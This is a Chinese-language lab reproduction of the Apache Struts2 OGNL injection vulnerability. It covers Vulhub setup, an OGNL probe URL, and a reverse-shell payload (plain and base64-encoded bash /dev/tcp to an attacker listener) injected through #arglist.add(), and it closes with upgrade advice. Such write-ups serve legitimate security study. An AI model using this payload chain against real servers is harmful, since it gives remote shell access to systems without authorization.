0x01 漏洞概述
Apache Struts是美国阿帕奇(Apache)基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts1和Struts2。
Struts2存在OGNL表达式注入漏洞,如果使用了 %{…} 语法进行强制OGNL解析。攻击者可以通过构造恶意的OGNL表达式来利用此漏洞,最终造成远程代码执行。
0x02 影响版本
apache:struts2 :
2.0.0 - 2.5.25
0x03 环境搭建
- Centos7
- Kali
- Vulhub漏洞环境
① Vulhub漏洞环境部署在Centos7
(1)安装pip
curl -s https://bootstrap.pypa.io/get-pip.py | python
(2)安装docker并启动
curl -s https://get.docker.com/ | sh
systemctl start docker
(3)安装compose
pip install docker-compose
(4)下载vulhub压缩包并解压
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip unzip vulhub-master.zip
② 使用vulhub漏洞环境在centos7上启动docker环境
启动docker容器命令
docker-compose up -d
③ 浏览器访问启动的容器
0x04 漏洞复现
①访问构造的URL查看漏洞是否存在
http://192.168.114.129:8080/?id=%25%7b+%27fuxian%27+%2b+(2000+%2b+21).toString()%7d
可看到表达式执行,漏洞存在。
②使用Burpsuite抓包并更改为POST方法发送
#arglist.add(""),即是命令执行的点
③构造bash命令执行反弹shell
bash -i >& /dev/tcp/192.168.114.173/4444 0>&1
bash命令需进行编码转换,反弹到192.168.114.173(Kali主机)的4444端口。
在Kali启用监听4444端口
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExNC4xNzMvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}
将bash编码转换后的填入#arglist.add("")中。
发送,在Kali收到反弹shell
0x05 修复建议
升级到 Struts 2.5.26 版本或更高版本,下载地址为:
https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.26